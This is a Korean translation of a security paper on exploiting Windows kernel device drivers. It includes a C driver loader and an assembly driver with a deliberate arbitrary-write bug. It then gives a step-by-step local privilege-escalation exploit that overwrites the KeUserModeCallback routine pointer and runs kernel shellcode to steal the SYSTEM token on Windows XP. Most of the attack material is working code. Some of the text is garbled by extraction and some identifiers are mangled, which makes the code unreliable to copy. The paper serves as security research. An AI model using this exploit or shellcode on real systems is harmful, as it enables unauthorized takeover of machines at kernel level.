Exploiting Windows Device Drivers By Piotr Bania <bania.piotr@gmail.com> http://pb.specialised.info "By the pricking of my thumbs, something wicked this way comes..." "Macbeth", William Shakespeare. Univ.Chosun HackerLogin : Jeong Kyung Ho Email : moltak@gmail.com
Introduction 장치드라이버의보얀취약점은윈도우나다른운영체제시스템에서점점더비중이크게다가오고있습니다. 이러한사실에관계되어 (OS의보안취약점 ) 이것은새로운분야이므로소수의기술적인논문들이이러한과제를포함하고있습니다. 제가기억하기로 Windows device driver 를이용한공격은 SEC-LABS 의 Win32 Device Drivers Communication Vulnerabilities 백서에서처음으로기술하고있습니다. 이문서는드라이버를이용한공격기술에대한밑거름을제공합니다. 두번째이논문의가치를확실히정의한것은 Barnary Jack 이라는사람입니다. 논문의제목은 Remote Windows Kernel Exploitation Step into the Ring 0. 기술적자료의부족함으로인해나는이논문에대해나의연구결과를공유하기로했습니다. 이논문에서나는내장치드라이버의개발기술과테스트를위한사용된기술과취약점이있는드라이버코드샘플을가진 exploit 코드등을포함하여상세한부분을서술하기로했습니다. 독자는 IA-32 어셈블리및소프트웨어보안취약점에대한개발의이전경험에대해친숙해져야합니다. 또이전에언급한두가지의백서에대해읽어보는것을추천하는바입니다. 연구할때필요한재료책상에서디바이스드라이버를작성하려면준비물이필요합니다. - 1024MB 이상의메모리 ( 가상머신을구동할수있는사양이되야한다.) - VM_WARE나 Virtual_PC 같은 Virtual Machine Emulator - Windbg or Softice VM_WARE에 Softice를사용했지만매우불안정했다. - IDA disassembler - 나중에내가사용하는툴을소개하겠습니다. 저는 named pipe 를통해 VMware 머신과호스트를이용하여원격디버깅을사용하였습니다만일반적으로는다른방법에더익숙해져야합니다. 그것은아마당신이미래에드라이버를갖고놀때필요한주요한것들이될것입니다.
Ring and Lands Bunch of facts OS 시스템은서로다른레벨에서작동할수있습니다 ( 흔히 Rings 라고부릅니다.) 가장권한이높은모드는 Ring 0 이라는커널모드로만약당신이 Ring 0를통해액세스한다면당신은시스템의신입니다. 커널모드의메모리주소는 0x8000000 에서시작하고끝은 0xFFFFFFF 입니다. 사용자가쓸수있는코드 ( 소프트웨어응용프로그램 ) 는 Ring 3 에서돌아갑니다. ( 이것은 Ring 0 모드로의어떠한접속도허용하지않습니다.) 그리고그것은운영체제에직접적인접근을할수없고오직다른함수를 call을함으로써운영체제의기능을사용할수있습니다. 사용자모드의메모리는 0x000000 에서시작하여 0x7FFFFF 에서끝이납니다. Windows 시스템은두가지 Ring 모드만을사용합니다. ( 0 과 3) Driver loader 이예제드라이버를제시하기전에저는이것을불러오는방법을보여줄것입니다. 아래는프로그램소스입니다. /* wdl.c */ #define UNICODE #include <stdio.h> #include <conio.h> #include <windows.h> void install_driver(sc_handle sc, wchar_t *name) { SC_HANDLE service; wchar_t path[512]; wchar_t *fp; if (GetFullPathName(name, 512, path, &fp) == 0) { printf("[-] Error: GetFullPathName() failed, error = %d\n",getlasterror()); return; }
service = CreateService(sc, name, name, SERVICE_ALL_ACCESS, \ SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, \ SERVICE_ERROR_NORMAL, path, NULL, NULL, NULL, \ NULL, NULL); if (service == NULL) { printf("[-] Error: CreateService() failed, error %d\n",getlasterror()); return; } printf("[+] Creating service - success.\n"); CloseServiceHandle(sc); if (StartService(service, 1, (const unsigned short**)&name) == 0) { printf("[-] Error: StartService() failed, error %d\n", GetLastError()); if (DeleteService(service) == 0) printf("[-] Error: DeleteService() failed, error = %d\n", GetLastError()); } return; printf("[*] Staring service - success.\n"); CloseServiceHandle(service); } void delete_driver(sc_handle sc, wchar_t *name) { SC_HANDLE service; SERVICE_STATUS status; service = OpenService(sc, name, SERVICE_ALL_ACCESS); if (service == NULL) {
printf("[-] Error: OpenService() failed, error = %d\n", GetLastError()); return; } printf("[+] Opening service - success.\n"); if (ControlService(service, SERVICE_CONTROL_STOP, &status) == 0) { printf("[-] Error: ControlService() failed, error = %d\n",getlasterror()); return; } printf("[+] Stopping service - success.\n"); if (DeleteService(service) == 0) { printf("[-] Error: DeleteService() failed, error = %d\n", GetLastError()); return; } printf("[+] Deleting service - success\n"); CloseServiceHandle(sc); } Sample vulnerable driver 다음은이논문에서게시한드라이버에대한취약점을악용해보는소스코드입니다. 이것은 Iczelion s 의자료를기초로만든것입니다. ; buggy.asm start.386.model FLAT, STDCALL OPTION CASEMAP:NONE INCLUDE D:\masm32\include\windows.inc INCLUDE inc\string.inc INCLUDE inc\ntstruc.inc INCLUDE inc\ntddk.inc INCLUDE inc\ntoskrnl.inc INCLUDE inc\ntdll.inc INCLUDELIB D:\masm32\lib\wdm.lib INCLUDELIB D:\masm32\lib\ntoskrnl.lib
INCLUDELIB D:\masm32\lib\ntdll.lib.CONST pdevobj PDEVICE_OBJECT 0 TEXTW szdevpath, <\Device\BUGGY/0> TEXTW szsympath, <\DosDevices\BUGGY/0>.CODE assume fs : NOTHING DriverDispatch proc uses esi edi ebx, pdriverobject, pirp mov edi, pirp assume edi : PTR _IRP sub eax, eax mov [edi].iostatus.information, eax mov [edi].iostatus.status, eax assume edi : NOTHING mov esi, (_IRP PTR [edi]).pcurrentirpstacklocation assume esi : PTR IO_STACK_LOCATION.IF [esi].majorfunction == IRP_MJ_DEVICE_CONTROL mov eax, [esi].deviceiocontrol.iocontrolcode.if eax == 011111111h mov eax, (_IRP ptr [edi]).systembuffer ; inbuffer test eax,eax jz no_write mov edi, [eax] ; [inbuffer] = dest mov esi, [eax+4] ; [inbuffer+4] = src mov ecx, 512 ; ecx = 512 bytes rep movsb ; copy no_write:
.ENDIF.ENDIF assume esi : NOTHING mov edx, IO_NO_INCREMENT ; special calling mov ecx, pirp call IoCompleteRequest mov eax, STATUS_SUCCESS ret DriverDispatch ENDP DriverUnload proc uses ebx esi edi, DriverObject ocal ussym : UNICODE_STRING invoke RtlInitUnicodeString, ADDR ussym, OFFSET szsympath invoke IoDeleteSymbolicLink, ADDR ussym invoke IoDeleteDevice, pdevobj ret DriverUnload ENDP.CODE INIT DriverEntry proc uses ebx esi edi, DriverObject, RegPath local usdev : UNICODE_STRING local ussym : UNICODE_STRING invoke RtlInitUnicodeString, ADDR usdev, OFFSET szdevpath invoke IoCreateDevice, DriverObject, 0, ADDR usdev, FILE_DEVICE_NULL, 0, FALSE, OFFSET pdevobj test eax,eax jnz epr invoke RtlInitUnicodeString, ADDR ussym, OFFSET szsympath invoke IoCreateSymbolicLink, ADDR ussym, ADDR usdev test eax, eax jnz epr mov esi, DriverObject assume esi : PTR DRIVER_OBJECT
mov [esi].pdispatch_irp_mj_device_control, OFFSET DriverDispatch mov [esi].pdispatch_irp_mj_create, OFFSET DriverDispatch mov [esi].pdriver_unload, OFFSET DriverUnload assume esi : NOTHING mov eax, STATUS_SUCCESS epr: ret DriverEntry ENDP End DriverEntry ; buggy.asm ends Description of the vulnerability 아래의소스에서뚜렷한취약점을찾아볼수있을것입니다. --- SNIP ----------------------------------------------------------.IF eax == 011111111h mov eax, (_IRP ptr [edi]).systembuffer ; inbuffer test eax,eax jz no_write mov edi, [eax] ; [inbuffer] = dest mov esi, [eax+4] ; [inbuffer+4] = src mov ecx, 512 ; ecx = 512 bytes rep movsb ; copy no_write:.endif --- SNIP ---------------------------------------------------------- 만일드라이버가 lpinputbuffer parameter의값과 0x01111111 을비교한값을얻는다면, 그것은 Null 과비교한것과같습니다. 그러나인자가서로다른경우드라이버는 input buffer( source / destination ) 의데이터를읽어오고원본메모리를대상메모리영역에 512bytes 만큼카피를하게됩니다.( memcpy() 와비슷한기능입니다. ) 아마도당신은어떻게이
렇게쉽게메모리가파손되는지에대해생각하고있을것입니다. 물론취약점을악용하는것은매우쉽지만드라이버안에데이터를쓸수없다는사실과대상메모리주소의파라미터에하드코드스택주소를통과하는것은전혀쓸모없다는것에대해생각해봐야합니다. 또한저런버그가대중적인소프트웨어에서존재하지않는다고말한다면그것은틀린것입니다. 더욱이이런공격기술은메모리의다양한취약점을공격하는것으로도묘사될수있다. off-by-one 이라불리는버그는공격자가겹쳐쓸메모리를지정해주지않습니다. 상상의날개를펼치고자시작합시다. Objective: 쓸수있는데이터를사용할위치무엇보다도우리는윈도우운영시스템의대부분들중에사용가능한모듈은일부커널모드에서찾을필요가있습니다. ( 예를들면윈도우계열의윈도우NT). 일반적으로이런사고유형의증가는다른시스템으로인한성공적인공격에향상됩니다. 그래서 ntoskrnl.exe를스캔해보면 - 윈도우의실제커널입니다. - KeSetTimeUpdateNotifyRoutine - PsSetCreateThreadNotifyRoutine - PsSetCreateProcessNotifyRoutine - PsSetLegoNotifyRoutine - PsSetLoadImageNotifyRoutine 이것은매우유용할것같습니다. Kesettimeupdatenotifyroutine 의검사를예로들면 : PAGE:8058634C public KeSetTimeUpdateNotifyRoutine PAGE:8058634C KeSetTimeUpdateNotifyRoutine proc near PAGE:8058634C mov KiSetTimeUpdateNotifyRoutine, ecx PAGE:80586352 retn PAGE:80586352 KeSetTimeUpdateNotifyRoutine endp 다음과같은함수들은 KiSetTimeUpdateNotifyRoutine 처럼스스로메모리주소에이름이지어지게되고 ECX 레지스트리값이써집니다..text:8053512C loc_8053512c: ; CODE XREF: KeUpdateRunTime+5E
j.text:8053512c cmp ds:kisettimeupdatenotifyroutine, 0.text:80535133 jz short loc_80535148.text:80535135 mov ecx, [ebx+1f0h].text:8053513b call ds:kisettimeupdatenotifyroutine.text:80535141 mov eax, large fs:1ch.text:80535147 nop 0x8053513B의명령에서알수있던것처럼 KiSetTimeUpdateNotifyRoutine로부터기억장치주소를수행합니다. ( 물론그것이 0이아닐때 ). 이것은우리에게 KiSetTimeUpdateNotifyRoutine을우리가수행하고싶은기억장치의주소를겹쳐서쓰는것과바꿔서쓰도록기회를줍니다. 그러나이방법에대한몇몇문제가있습니다. 내가몇몇윈도우의커널들을비교해보고추측해보니 - 대부분의경우이런절차를 "routines" 이라불렀습니다. (dword ptr [KiSetTimeUpdateNotifyRoutine] 이라고불리기도함.) - 그것들은오직읽거나쓰기만을할수있는데, 절대로실행은할수없었습니다. 이것은나에게매우실망스러운결과를주었습니다. 그래서나는다른그럴싸하고약한코드를찾는것을시작했습니다. 그리고몇몇의교차참조된메모리들을비교하고, 다음주소를찾아냈습니다. ( 나는이값의이름을 KeUserModeCallback_Routine 라고지어기록했습니다.).data:8054B208 KeUserModeCallback_Routine dd? ; DATA XREF: sub_8053174b+94 r.data:8054b208 ; KeUserModeCallback+C2 r... Referenced by: PAGE:8058696E loc_8058696e: ; CODE XREF: KeUserModeCallback+A6 j PAGE:8058696E cmp dword ptr [ebp-3ch], 0 PAGE:80586972 jbe short loc_80586980 PAGE:80586974 add dword ptr [ebx], 0FFFFFF00h PAGE:8058697A call KeUserModeCallback_Routine 0x8058697a의커널명령어를사용할수있다는것을알수있었습니다. 이는타격을줄수있는충분한결과를줍니다. 그래서우리는지금전략을세우는것이좋습니다.
NOTE: 당연히다른사람이사악한생각으로공격을위하여사용할지도모릅니다. 그리고당신은자신의시스템서비스테이블을설치하거나조금더강력한일을할수도있습니다. 간략히여기에우리가취약점을이용하기위한메인포인트가있습니다. 1) ntoskrnl.exe의기초를찾는가? 매번윈도우가실행될때마다바뀌어야만하는것이다. 2) ntoskrnl.exe 모듈의유저영역공간을로드하고 KeUserModeCallback_Routine의주소를얻습니다. 마지막으로 ntoskrl 의베이스에그것을추가한후정확한가상주소를얻으세요. 3) 첫번째신호를보내고 KeUserModeCallback_Routine 주소에서 512 바이트를얻으세요. ( 버그의본질때문에우리의안정성을증가시킬것입니다. 우리가 KeUserModeCallback_Routine 의 4개바이트만바꿀것이기때문입니다.) 4) 특별히만들어진자료를가진신호를보내세요. ( 대부분 setp_ 이전의것을읽고 KeUserModeCallBackRoutine값을덮어씁니다. 그리고기억장치를가리키게됩니다.)(shellcode) 5) 특별한커널모드의쉘코드를개발하세요.( 물론쉘코드는 Point4 이전에준비되어있을것입니다? 4번째단계? 그것을수행하세요.) 5a) KeUserModeCallback_Routine의포인터를리셋합니다. 5b) 시스템이처리하는징표로서주어진프로세스를줍니다. 5c) 오래된 KeUserModeCallback_Routine에실행됩니다. Point 1: Locate ntoskrnl.exe base Ntoskrnl(windows kernel) 은모든부팅에기초하여변화하며, 이것때문에그것의베이스주소를직접수정해도쓸모없을것이기때문에우리는하지않습니다. 그래서우리는 native API와 SystemModuleInformaion Class 의 NtQuerySystemInformation 주소를얻을필요가있습니다. 다음과같
은코드는이프로세스를설명하고있습니다. NtQuerySystemInformaion prototype: ; ------------------------------------------------------------ ; Gets ntoskrnl.exe module base (real) ; ------------------------------------------------------------ get_ntos_base proc local MODULES : _MODULES pushad @get_api_addr "ntdll","ntquerysysteminformation" @check 0,"Error: cannot grab NtQuerySystemInformation address" mov ebx,eax ; ebx = eax = NTQSI addr call a1 ; setup arguments ns dd 0 a1: push 4 lea ecx,[ MODULES] push ecx push SystemModuleInformation call eax ; execute the native cmp eax,0c0000004h ; length mismatch? jne error_ntos push dword ptr [ns] ; needed size push GMEM_FIXED or GMEM_ZEROINIT ; type of allocation @callx GlobalAlloc ; allocate the buffer mov ebp,eax push 0 ; setup arguments push dword ptr [ns] push ebp push SystemModuleInformation call ebx ; get the information
test eax,eax ; still no success? jnz error_ntos ; first module is always ; ntoskrnl.exe mov eax,dword ptr [ebp.smi_base] ; get ntoskrnl base mov dword ptr [real_ntos_base],eax ; store it push ebp ; free the buffer @callx GlobalFree popad ret error_ntos: xor eax,eax @check 0,"Error: cannot execute NtQuerySystemInformation" get_ntos_base endp _MODULES struct dwnmodules dd 0 ;_SYSTEM_MODULE_INFORMATION: smi_reserved dd 2 dup (0) smi_base dd 0 smi_size dd 0 smi_flags dd 0 smi_index dw 0 smi_unknown dw 0 smi_loadcount dw 0 smi_modulename dw 0 smi_imagename db 256 dup (0) ;_SYSTEM_MODULE_INFORMATION_SIZE = $-offset _SYSTEM_MODULE_INFORMATION ends Point 2: Load ntoskrnl.exe module and get
KeUserModeCallback_Routine address Ntoskrnl.ext를애플리케이션의공간안에서로딩하는것은아주간단합니다. 우리는 LoadLibraryEx API를통해서할수있습니다. 윈도우커널은다른 KeUserModeCallback_Routine의다른주소를갖고있고, 이것때문에우리는다른커널의정확한주소를얻을필요가있습니다. 당신이볼수있던대로당신의요청에대한요구는 ntoskrnl.exe 에포함되어있는 KeUserModeCallback 함수에서오게됩니다. ( call dword ptr[kisettimeupdatenotifyroutine]). 우리는이러한사실들을이용하여 KeUserModeCallback 주소와구체적인명령을호출하는코드를찾고나서몇번의계산을통해 KeUserModeCallback_Routine 의주소를손에넣을수있게될것입니다. 그코드를보여드리겠습니다. ; ------------------------------------------------------------ ; finds the KeUserModeCallback_Routine from ntoskrnl.exe ; ------------------------------------------------------------ find_keusermodecallback_routine proc pushad push 1 ;DONT_RESOLVE_DLL_REFERENCES push 0 @pushsz "C:\windows\system32\ntoskrnl.exe" ; ntoskrnl.exe is ok also @callx LoadLibraryExA ; load library @check 0,"Error: cannot load library" mov ebx,eax ; copy handle to ebx @pushsz "KeUserModeCallback" push eax @callx GetProcAddress ; get the address mov edi,eax @check 0,"Error: cannot obtain KeUserModeCallback address" scan_for_call: inc edi
cmp word ptr [edi],015ffh ; the call we search for? jne scan_for_call ; nope, continue the scan mov eax,[edi+2] ; EAX = call address mov ecx,[ebx+3ch] add ecx,ebx ; ecx = PEH mov ecx,[ecx+34h] ; ECX = kernel base from PEH sub eax,ecx ; get the real address mov dword ptr [KeUserModeCallback_Routine],eax ; store popad ret find_keusermodecallback_routine endp Point 3: 첫번째신호를보내고 KeUserModeCallback_Routine 주소에서부터 512 바이트를얻어오시오! 우리가잘못된자료를 512바이트의커널자료에덮어쓸때, 우리는기계를망가뜨릴확률이높습니다. 이러한경우를피하기위해우리는까다로운방법을사용할것입니다 : 첫번째신호를전송하여특수하게채워진 lpinputbuffer ( 패킷 ) 구조로부터악성코드를보여줌으로써, 우리는본래의 ntoskrnl datas을얻을것입니다. ( 우리는그다음점에있는읽기전용데이터를사용할것이다.) D_PACKET struct ; little vulnerable driver dp_dest dd 0 ; signal struct dp_src dd 0 D_PACKET ends ; first signal copies original bytes to the buffer mov eax,dword ptr [KeUserModeCallback_Routine] mov dword ptr [routine_addr],eax mov [edi.d_packet.dp_src],eax ; eax = source mov [edi.d_packet.dp_dest],edi ; edi = dest (allocated mem) add [edi.d_packet.dp_dest],8 ; edi += sizeof(d_packet) mov ecx,512 ; size of input buffer call talk2device ; send the signal!!!
; code will be stored at edi+8 Point 4: KeUserModeCallback_Routine를덮어쓰시오! 이시점에서는우리가가지고있는 Shellcode 때문에 ntoskrnl.exe 가실행될것이다. 일반적으로, 여기에서우리는스와핑의값을이전신호 ( 패킷일원 ) 에서전송한다. 그리고우리는오직첫신호에있는읽기버퍼의처음의 4 바이트만변경한다. ; make the old KeUserModeCallback_Routine point to our shellcode ; and exchange the source packet with destination packet mov [edi+8],edi ; overwrite the old routine add [edi+8],512 + 8 ; make it point to our shellc. mov eax,[edi.d_packet.dp_src] mov edx,[edi.d_packet.dp_dest] mov [edi.d_packet.dp_src],edx ; fill the packet structure mov [edi.d_packet.dp_dest],eax mov ecx,my_address_size call talk2device ; do the magic thing! Point 5: 특수커널모드의 Shellcode를개발하시오! 드라이버를악용하기때문에, 그것은우리가정상적인 Shellcode를사용할수없는게논리에맞습니다. 예를들면우리는우리의윈도우에서몇몇의다른 syscall shellcode 를사용할수있습니다. (SecurityFocus에서간행하는참고단면도를조사해보시오.) 그러나, 그곳에는더유용한개념들이존재합니다. 여기에서나는 Xfocus에서 Eyas에의해첫번째로소개된 Shellcode에관해이야기하겠습니다. 그아이디어는아주간단합니다. 첫번째로우리는시스템의토큰을찾는것과, 우리의과정에서이것을할당하는게필요합니다. - 이트릭은우리의프로세스에게시스템권한을제공할것입니다. 알고리즘 : - ETHREAD 찾기. ( fs : [0x124] 에항상위치한다.) - ETHREAD로부터 EPROCESS 구분분석을시작합니다.
- 우리가사용하는 EPROCESS.ActiveProcessLinks의모든실행중인프로세스를검사합니다. - 시스템 pid와함께실행하는과정을비교. ( window XP 는항상 4와같다.) - 그것을얻었을때, 우리는우리의 pid를찾고, 우리에게우리의프로세스의시스템토큰을할당합니다. 여기에모든 shellcode 가있습니다. ; ------------------------------------------------------------ ; Device Driver shellcode ; ------------------------------------------------------------ XP_PID_OFFSET equ 084h ; hardcoded numbers for Windows XP XP_FLINK_OFFSET equ 088h XP_TOKEN_OFFSET equ 0C8h XP_SYS_PID equ 04h my_shellcode proc pushad db 0b8h ; mov eax,old_routine old_routine dd 0 ; hardcoded db 0b9h ; mov ecx,routine_addr routine_addr dd 0 ; this too mov [ecx],eax ; restore old routine ; avoid multiple calls... ; ----------------------------------------- ; start escalation procedure ; ----------------------------------------- mov eax,dword ptr fs:[124h] mov eax,[eax+44h] push eax ; EAX = EPROCESS
s1: mov eax,[eax+xp_flink_offset] ; EAX = EPROCESS.ActiveProcessLinks.Flink sub eax,xp_flink_offset ; EAX = EPROCESS of next process cmp [eax+xp_pid_offset],xp_sys_pid ; UniqueProcessId == SYSTEM PID? jne s1 ; nope, continue search ; EAX = found EPROCESS mov edi,[eax+xp_token_offset] ; ptr to EPROCESS.token and edi,0fffffff8h ; aligned by 8 pop eax ; EAX = EPROCESS db 68h ; hardcoded push my_pid dd 0 pop ebx ; EBX = pid to escalate s2: mov eax,[eax+xp_flink_offset] ; EAX = EPROCESS.ActiveProcessLinks.Flink sub eax,xp_flink_offset ; EAX = EPROCESS of next process cmp [eax+xp_pid_offset],ebx ; is it our PID??? jne s2 ; nope, try next one mov [eax+xp_token_offset],edi ; party's over :) popad db 68h ; push old_routine old_routine2 dd 0 ; ret ret my_shellcode_size equ $ - offset my_shellcode my_shellcode endp;